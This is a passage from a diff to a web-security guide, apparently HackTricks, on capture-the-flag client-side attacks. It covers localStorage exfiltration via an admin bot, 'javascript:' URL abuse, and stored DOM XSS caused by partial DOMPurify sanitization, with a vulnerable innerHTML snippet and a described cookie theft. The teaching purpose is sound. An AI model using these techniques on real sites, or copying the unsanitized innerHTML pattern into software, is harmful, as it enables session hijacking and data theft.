?flag=' + encodeURIComponent(localStorage.getIte
If the bot does not restrict schemes, supplying a `javascript:` URL (`javascript:fetch(...)`) executes in the current origin without new navigation, directly leaking storage values.
+## Template literal `innerHTML` + partial sanitization gaps
+
+Frontends that sanitize only selected fields but still interpolate an untrusted one directly into `innerHTML` are trivially exploitable. Example:
+
+```javascript
+fetch(`${window.location.origin}/admin/bug_reports`).then(r => r.json()).then(reports => {
+ reports.forEach(report => {
+ reportCard.innerHTML = `
+ ${DOMPurify.sanitize(report.id)}
+ ${report.details}
+ `;
+ });
+});
+```
+
+If the un-sanitized field is stored server-side (e.g., bug report “details”), the payload becomes **stored DOM XSS** for any privileged viewer of the list. A simple payload such as `
` executes when an admin opens the page and exfiltrates their cookies.
+
+When the app explicitly disables `SESSION_COOKIE_HTTPONLY` (e.g., Flask `app.config['SESSION_COOKIE_HTTPONLY'] = False`), the stolen cookie immediately grants the admin session even if the signing secret rotates on each boot (random `secret_key` prevents forging, but theft still works).
+
## References
- [Flagvent 2025 (Medium) — pink, Santa’s Wishlist, Christmas Metadata, Captured Noise](https://0xdf.gitlab.io/flagvent2025/medium)
+- [HTB: Imagery (stored DOM XSS via partial DOMPurify + session theft)](https://0xdf.gitlab.io/2026/01/24/htb-imagery.html)
{{#include ../../banners/hacktricks-training.md}}